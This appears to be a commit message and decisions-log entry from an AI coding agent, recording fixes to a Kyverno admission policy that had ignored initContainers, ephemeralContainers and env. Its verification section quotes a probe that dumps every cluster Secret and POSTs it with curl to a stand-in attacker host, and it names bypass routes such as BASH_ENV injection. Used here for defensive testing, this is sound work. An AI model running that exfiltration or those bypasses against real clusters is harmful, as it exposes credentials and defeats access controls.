#18 has landed, so this branch's "PR #18 must merge first" caveat was stale -- corrected to say what is now true and, more importantly, what is still NOT: no image has been built or pushed, so the digest this branch pins resolves to nothing. Also records the one real conflict the rebase hit and how it was resolved. #18's README carried a blockquote saying the 4th admission rule pinning the init container's command "is not in this branch". It IS in this branch (trigger-initcontainers-must-be-the-committed-clone-step, plus the ephemeralContainers and env/envFrom rules beside it), so keeping #18's wording would have left main documenting an open hole that had just been closed. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
26 KiB
date, branch, title
| date | branch | title |
|---|---|---|
| 2026-09-29 | feat/conformance-job-template | The conformance Job can run a named commit and get its results out — and the policy meant to bound it read only `containers` |
What changed
Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 (repo at the commit under
test) and 3 (results collection with no exec channel). conformance/incluster/chainsaw-job.yaml
was a skeleton whose workspace was an empty emptyDir with nothing to fill it; it is now a
renderable run template. Along the way the admission policy that is supposed to bound that Job
turned out to read spec.template.spec.containers and nothing else, and closing that took four
more rules and moved the clone script out of the Job entirely.
Note on where this entry lives. This handoff was originally written as a ~400-line append to the tail of
DECISIONS-LOG.md. That append is what made PR #20 unmergeable — four of the five open PRs collided on that one hunk. The prose below is the same content, moved to its own file underdecisions/; the archive is untouched.
The binding constraint, and how it was met
platform/kyverno/admission/conformance-trigger-job-shape.yaml (Enforce, failurePolicy: Fail)
admits only workspace and results as volume names. So the git credential could not be a
Secret volume and the init container could not have a scratch volume:
- Credential: env vars from
secretKeyRefon Secretconformance-git-readonly(username,token) — an env var is not a volume. By name only; no literal in the tree. The token reachesgitthrough an inlinecredential.helperthat reads the environment, so it never appears in argv (wherepsand the Pod spec would show it) and is never written to disk. - Writable scratch under
readOnlyRootFilesystem: true:$TMPDIR=/workspace/tmpand$HOME=/workspace/home, i.e. directories on theworkspaceemptyDir. NotsubPathmounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner could not write it. resultscould not be mounted atconformance/_artifacts: that path sits inside the clone target, and a directory mounted into it makes the target non-empty, sogit clonerefuses. HenceCONF_ARTIFACTS=/results(new, honoured only when set).
The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches
onto it, and asserts HEAD equals the requested SHA. The SHA must match ^[0-9a-f]{40}$, so
an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip
happened to be.
Results out of the Job with no exec channel
The trigger identity has no pods/exec and cannot kubectl cp, and admission pins command to
exactly ["./run.sh"] — so nothing can wrap the suite to package artifacts afterwards. run.sh
therefore does it itself, on an EXIT trap (a failed run still ships its red JUnit — that is
the evidence the gate most needs), armed only by CONF_EMIT_ARTIFACTS_TGZ=1:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
<base64 of the tgz, wrapped at 76 columns>
=== ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
kubectl logs is a lossy channel (--tail, a rotated CRI log, a dropped watch), and base64
decodes a truncated stream to plausible garbage without complaint. So size, base64 line count and
digest appear in both markers and the collector owes five checks, each documented above the
function.
THE FINDING: the admission boundary did not look at initContainers
Every rule read spec.template.spec.containers (rule 1's pattern, rule 3's containers[0].args)
or volumes (rule 2). initContainers was never examined, and neither were
ephemeralContainers or env. So the precise escalation the policy exists to stop — the
privileged conformance-runner SA running an arbitrary command, because Kubernetes places no
use check on serviceAccountName — was reachable one field over. This predated this branch: the
gap was there when the policy shipped in PR #13, and a Job with no init container at all could
already have carried one.
It was initially left unfixed, deliberately — a security boundary changes in its own reviewed PR, not smuggled in beside the Job that has to satisfy it. The coordinator then reproduced the finding independently and reversed that instruction explicitly, on the grounds that the ban existed to stop the boundary being bent to fit a Job, not to stop a hole being closed. So the policy gained four rules in this branch:
trigger-initcontainers-must-be-the-committed-clone-step— at most ONE initContainer; it must be on the digest-pinnedconformance-runnerimage,command: ["/usr/local/bin/conformance-clone"], noargs, non-root,allowPrivilegeEscalation: false, not privileged.trigger-may-not-declare-ephemeral-containers— the third container list. See the honesty note under "What I did NOT verify".trigger-env-names-must-be-the-committed-set— runner container:CONF_ARTIFACTS,CONF_EMIT_ARTIFACTS_TGZ,TMPDIR,HOME. Clone init container:CONFORMANCE_GIT_SHA,CONFORMANCE_REPO_URL,CONFORMANCE_SRC,GITEA_USERNAME,GITEA_TOKEN,TMPDIR,HOME.commandis pinned, so injection moves to whatever adjacent field nobody enumerated, andBASH_ENValone is arbitrary code execution — bash sources it before running a non-interactive script, and the runner's command IS a bash script. The init list iteratesinitContainers[].env[]flattened, so it keeps working if the at-most-one cap is ever relaxed.trigger-may-not-use-envfrom—envFrominjects a whole ConfigMap/Secret whose KEYS are nowhere in the Job, which would make the allowlist above unenforceable by inspection.
All four use deny conditions, not a pattern. A Kyverno array pattern asserts "at least
one element matches", so a pattern-based init rule would have admitted the committed clone step
plus an arbitrary second init container — the same hole rule 2's own comment describes for
volumes. second-initcontainer is a fixture precisely because I nearly wrote it that way.
Deliberately NOT constrained: env values, and which Secret a valueFrom reads. Values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector that
matters, because a name is what a program keys behaviour on. Constraining env values remains
undone.
The clone script left the Job — that is the actual fix
Pinning command is worthless if the command is /bin/bash -c and the script arrives as args:
a policy cannot distinguish the committed script from an attacker's, because both are just data.
The logic now lives in the runner image at /usr/local/bin/conformance-clone (mode 0755 — added
to plan §5 step 1 as a hard requirement), sourced from conformance/incluster/conformance-clone,
which agent 1 ships in PR #18. The Job's init container is now command + env and nothing
else.
I had written a second copy of that script here (conformance/incluster/conformance-clone.sh) and
deleted it: two copies of the clone entrypoint in one directory, one baked into the image and
one not, is a guaranteed drift into "the reviewed file is not the file that runs". I read agent
1's version before deleting mine rather than assuming compatibility, and the interface my Job
depends on matches exactly: env CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN; baked clone
target /workspace/src (which is what makes my workingDir: /workspace/src/conformance correct);
TMPDIR/HOME required to be under /workspace; and both load-bearing guards preserved — the
^[0-9a-f]{40}$ SHA guard and the rev-parse HEAD == SHA assertion. Theirs is a superset: it also
hard-fails a CONFORMANCE_REPO_URL/CONFORMANCE_SRC that disagrees with the baked values, rather
than honouring it.
One thing that changed while moving it, and it matters: the repository URL is hardcoded in
the script instead of passed as CONFORMANCE_REPO_URL env. The policy pins command but says
nothing about env values. Had the URL stayed live in env, a trigger could point the clone at a
repository it controls and have containers[0] execute that repo's ./run.sh as
conformance-runner — the same escalation, laundered through a field nobody constrains. Do not
move that URL back into env. Worth recording that agent 1 reached the hardcoded-URL conclusion
independently and against an instruction to read those values from env — an instruction the
coordinator then retracted. Two agents finding the same "the policy doesn't read this field, so
trusting it just moves the injection" reasoning in one afternoon is the signal that the
field-enumeration gap was systemic, not a one-off.
The committed args default was a shape that cannot run
Agent 1 measured that --layer all --strict-coverage and a bare --requirements <IDs> fail on the
runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and run.sh runs its
offline L0/L1 stages first for any selection that is not offline-only. I traced run.sh to state
the invariant precisely rather than repeat the symptom — requirement_scoped_dirs() is
layer-bounded only when --layer is given and is not all, and offline_selected_dirs() then
filters to /l0-static/|/l1-rendering/:
| args | offline selection | verdict |
|---|---|---|
--layer l2,l3 |
empty | RUNS |
--layer l2,l3 --requirements R-NET-01 |
intersected to L2/L3 | RUNS |
--layer l2,l3 --include-scope whole-repo |
scope union is also layer-bounded | RUNS |
--requirements R-NET-01 (no --layer) |
that requirement's L0/L1 tests | FAILS |
--layer all --strict-coverage |
every L0/L1 test | FAILS |
So --layer is mandatory and must name only l2/l3. The committed default was --layer all --strict-coverage — one of the broken shapes — and is now --layer l2,l3. More importantly:
the plan's "PHASE EXIT: --layer all" invocation cannot run in-cluster at all. A full-suite
run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the manifest
header and still needs to land in ci/conformance.sh (plan §3 item 4).
I did not narrow the policy's args allowlist to match. A security boundary should not encode
which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
considered rather than missed.
What I verified
Admission, proven with the pinned CLI rather than assumed
kyverno v1.19.0 in the pinned toolbox, kyverno apply against the rendered template:
##### the real rendered template MUST PASS
Applying 7 policy rule(s) to 1 resource(s)...
pass: 7, fail: 0, warn: 0, error: 0, skip: 0
##### the coordinator's exact initContainer probe MUST FAIL
1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
pass: 6, fail: 1, warn: 0, error: 0, skip: 0
##### same escalation via ephemeralContainers MUST FAIL
1 - trigger-may-not-declare-ephemeral-containers ...
pass: 6, fail: 1, warn: 0, error: 0, skip: 0
The pre-fix measurements that produced the finding, taken the same way with containers[0] fully
compliant and serviceAccountName: conformance-runner:
- a
privileged: truedocker.io/library/alpine:latestinitContainer runningkubectl get secrets -A→pass: 3, fail: 0— ADMITTED - the committed template with only the init container's
argsswapped forkubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/→pass: 3, fail: 0— ADMITTED
Negative controls on the same rendered template, showing the original rules do bite where they
look: adding a third volume → trigger-volumes-must-be-workspace-or-results fails; wrapping
command in /bin/sh -c → trigger-may-create-only-the-committed-conformance-run fails at
/spec/template/spec/containers/0/command/.
Full fixture matrix from kyverno apply --policy-report — 65 pass / 13 fail / 0 error / 0 skip:
| resource | creat | vols | args | init | ephem | envnm | envfr |
|---|---|---|---|---|---|---|---|
real-template |
pass | pass | pass | pass | pass | pass | pass |
good-run |
pass | pass | pass | — | pass | — | pass |
evil-command |
fail | pass | — | — | pass | — | pass |
evil-image |
fail | pass | — | — | pass | — | pass |
tag-not-digest |
fail | pass | — | — | pass | — | pass |
host-namespaces |
fail | pass | — | — | pass | — | pass |
extra-volume |
pass | fail | — | — | pass | — | pass |
injected-args |
pass | pass | fail | — | pass | — | pass |
evil-initcontainer |
pass | pass | pass | fail | pass | — | pass |
initcontainer-with-args |
pass | pass | pass | fail | pass | — | pass |
second-initcontainer |
pass | pass | pass | fail | pass | — | pass |
evil-ephemeral-container |
pass | pass | pass | — | fail | — | pass |
injected-env |
pass | pass | pass | — | pass | fail | pass |
injected-initcontainer-env |
pass | pass | pass | pass | pass | fail | pass |
envfrom-whole-secret |
pass | pass | pass | — | pass | — | fail |
— is "no result", not a pass: a foreach over an absent list emits nothing. Every evil-*
init/ephemeral/env case passes the three original rules — that is the whole finding in one
column, and it is why the fixtures are worth more than the rules' prose.
injected-initcontainer-env is the row worth staring at: it passes the initContainer rule —
correct image, correct pinned command, no args, non-root — and is hostile purely through env.
That is why env had to be its own rule and not a condition bolted onto the init rule.
The rendered template is now a fixture (real-template in
platform/kyverno/tests/conformance-trigger/resources.yaml), so a template that drifts out of
admission fails make -C ci l0 instead of failing at 2am.
How strong that evidence is — the kyverno test load trap
ci/l0.sh records, and this branch is downstream of, the lesson that kyverno test exits 0 and
prints "N tests passed" even when a policy FAILS TO LOAD — every row becomes Skip / Invalid Policy. That trap was measured while authoring this very policy: a subjects block in a
separate match.all entry from its resources gave 9 rows of Skip / Invalid Policy and
Test Summary: 9 tests passed and 0 tests failed.
So the proofs above are deliberately quoted from kyverno apply, whose report carries explicit
error: and skip: counts, and those counts are 0 in every run cited. A green kyverno test
alone — or the green l0 line in the gate below — would not on its own establish that these
rules loaded; ci/l0.sh greps the output for Invalid Policy for exactly that reason. Read the
error: 0, skip: 0 in the numbers above, not the exit code.
Two further limits on what a CLI pass proves:
kyverno applyevaluates these rules with or without--userinfo— the extra-volume control fails either way. A CLI pass is evidence about the patterns, not about thesubjectsfilter that decides whether the rules apply at all. The claim inkyverno-test.yaml's header that userinfo is what makes the cases non-trivial holds forkyverno test, not forkyverno apply.- Nothing here was evaluated by a real API server. This is CLI evaluation of a manifest, not admission in the cluster.
Two Kyverno traps, both of which silently invert the result
Both are now commented in the rules:
not_null(x,default), never||. JMESPath treatsfalseas falsy, soelement.securityContext.allowPrivilegeEscalation || `true`rewrites the compliant valuefalseintotrueand denies every good Job.join(' ', command)compared as a string, not the array compared withEquals. Kyverno'sEquals/NotEqualsare not dependable on arrays, and an element-wise match would let["/bin/sh","-c",…]through on element 0.
The results envelope
Verified locally, not asserted: full decode round-trips to a valid tar; tail-truncation and
head-truncation fail check 1; a dropped interior line fails check 3; one corrupted character fails
check 5. Exit-code preservation through the EXIT trap was tested for 0, an explicit exit 3, and a
set -e abort — the envelope's rc= matched the process rc in all three. The envelope is
verified; its transport over kubectl logs from a real Pod is not.
Gate
Toolbox only (DEV_KUBECONFIG=/dev/null + an ENGINE shim bind-mounting the main checkout's
.git, per CLAUDE.md §3):
diff base: origin/main @ c59fe9f923c4 ... HEAD @ <this branch>
touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02
spec-immutability: green
decisions-log: green (archive frozen, sha256 matches decisions/ARCHIVE.sha256;
2 entries well-formed — this one included)
lint: green (404 files)
l0: green (kyverno test passed, no 'Invalid Policy'; 19 offline cases,
0 failures, 0 skips, 0 unwired)
render-golden: green (10 onboarded service goldens reproduce)
l1: green (3 offline L0/L1 checks, 0 failures, 0 skips, 0 unwired)
gitea-settings: SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide)
conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED
Stages that did not run: gitea-settings
rc 3
Nothing FAILED. rc 3 is UNDETERMINED, not green — gitea-settings did not run, so this run
says nothing about Gitea's branch protection or runner registration, and the seven touched
requirements above are explicitly not certified at L2/L3. gate.yml tolerates rc 3, which is
itself a fail-open surface recorded elsewhere. The branch was rebased onto main at c59fe9f, i.e. after PR #24
merged, so ci/decisions-log.sh is in the base and did run: it reports the archive frozen
(DECISIONS-LOG.md sha256 matches decisions/ARCHIVE.sha256) and both decisions/ entries
well-formed. This entry's format is therefore checked by the stage that enforces it, not only by
eye — though that stage checks structure, never whether any claim inside it is true.
The approval-policy check this PR was expected to fail does not exist
I was briefed to expect CI to FAIL on an approval-policy check because conformance/** is
security-relevant. That check does not exist. Measured rather than assumed:
grep -rn approval .gitea/workflows/ -> no match
GET /repos/.../branches/main
protected True
user_can_push False
enable_status_check True
status_check_contexts ['gate / gate (pull_request)']
required_approvals 1
GET /repos/.../commits/<head>/statuses
success gate / gate (pull_request) Successful in 1m36s
pending gate / conformance (pull_request) Blocked by required conditions
The only required context is gate / gate, and it was GREEN at 1m36s — it genuinely ran, so
that particular green is not the skipped-Gitea-job-reports-success trap. There is no path-based
approval policy in CI anywhere in this repo. What actually stops this merging is
required_approvals: 1 plus the fact that gitea-admin authors every agent PR and cannot
self-approve — the same control that returned HTTP 405 on PR #12. gate / conformance is "Blocked
by required conditions", i.e. the CLUSTER_AVAILABLE guard, unchanged.
Consequence worth acting on: a change under conformance/** — including a change to the
admission boundary itself — is gated by a generic human approval, not by anything that knows the
path is security-relevant. If the intent is "security-relevant paths get a stricter review", that
policy is not implemented anywhere in this repo. CODEOWNERS-style path review or a
paths:-scoped required check would be the mechanism; neither exists today.
The PR was not merged and nothing was worked around.
Process note, worth more than the policy fix
Both halves of the security finding came from probing rather than reading. The hole was not visible in the policy's prose — which is careful, accurate about what it does constrain, and explicit that it is "THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. A policy is only as trustworthy as its negative fixtures.
Addendum — rebased onto main after #18 landed (2026-09-29)
This branch originally appended its handoff to DECISIONS-LOG.md, which is why it was
mergeable: false: every branch appended to that file's same last hunk. The append is now this
file (see decisions/README.md).
The rebase onto post-#18 main hit one real content conflict — conformance/incluster/README.md,
where #18 and this branch had each rewritten the same bullet list. Resolved by keeping #18's
Containerfile / conformance-clone / build-image.sh bullets and this branch's
chainsaw-job.yaml bullet, since this branch is what makes the Job a rendered run template.
One of #18's paragraphs had to be rewritten rather than kept: its conformance-clone bullet
carried a blockquote saying "This file is half a fix … a 4th policy rule demanding command: ["/usr/local/bin/conformance-clone"] with no args … is not in this branch." That rule is
in this branch — trigger-initcontainers-must-be-the-committed-clone-step, plus the
ephemeralContainers and env/envFrom rules beside it. Leaving #18's wording would have left
main documenting an open hole that had just been closed, which is the same
documentation-disagrees-with-mechanism failure this repo keeps hitting. No code changed in the
rebase: every file but that README is byte-identical to the pre-rebase tip.
What I did NOT verify
- Nothing here has ever executed against a cluster. The
conformance-runnerimage does not exist (plan §3 item 1), so the Job cannot be submitted, and the init container's clone/fetch/assert sequence, the credential helper and the envelope-over-kubectl-logspath are all unexercised. The envelope itself is verified; its transport is not. - PR #18 has since merged (
cac5c9f), so/usr/local/bin/conformance-cloneand the image are now onmainand this branch was rebased onto them. What that changes is only availability: if the path were missing or named differently the init container would fail to start, and if the image is not the pinned digest admission denies the Job. Neither has been exercised — no image has been built or pushed, so the digest this branch pins still resolves to nothing. - Secret
conformance-git-readonlydoes not exist (plan §3 item 6, operator action). Only its name is referenced here. uid 65532is asserted by the Job'srunAsUser/fsGroup; the image that must provide it has not been built. If the Containerfile picks a different uid, the Job will not start.- Whether Gitea's
uploadpackacceptsfetch origin <sha>for a non-tip commit was not tested; the shallow-clone-then-fetch fallback assumes it does. If it does not, theHEAD == SHAassertion turns that into a loud failure rather than a wrong-tree run. - Whether the API server accepts
ephemeralContainersinside a Job's pod template at all. Upstream the field is settable only through thepods/ephemeralcontainerssubresource andValidatePodCreaterejects it on Pods, but that check does not obviously apply to a pod template nested in a Job, and I found no definitive answer. Establishing it needs acreate --dry-run=server, i.e. a mutating request, which CLAUDE.md §5 reserves to the operator — so I did not run one. The rule was added anyway: it is a no-op if upstream already rejects the field, and it is the same hole again if it does not. "Probably rejected upstream" is not a boundary. If someone with cluster-write access wants to settle it, that is a one-command check; the rule should stay either way. - The
subjectsfilter on these rules is unproven.kyverno applyevaluates the patterns with or without--userinfo, so nothing above establishes that the rules actually match only the trigger identity in a live admission request. - Admission was never exercised by a real API server — only by
kyverno applyagainst manifests. A policy that a CLI accepts can still behave differently once installed. envvalues and thevalueFromsource Secret are unconstrained by design, so the hardening there is deliberately partial, not complete.- The env allowlists are derived from what the two programs read TODAY. If
run.shor the clone entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a reviewed change. That is the intended failure direction, but it is a coupling the next person editing either script needs to know about, so it is called out in the rule's message. ci/conformance.shstill runs the suite locally and is untouched (plan §3 item 4). This branch changes nothing about what CI does today.- The gate run was rc 3, UNDETERMINED — not green.
gitea-settingsdid not run. The L2/L3 conformance stages did not run (CLUSTER_AVAILABLEunset), so nothing here is evidence about runtime behaviour. ci/decisions-log.shpassing says nothing about this entry's accuracy. It asserts the frozen archive's digest, the filename/frontmatter agreement and the presence of three non-stub sections. Whether the measurements quoted above are real is not, and cannot be, checked by it.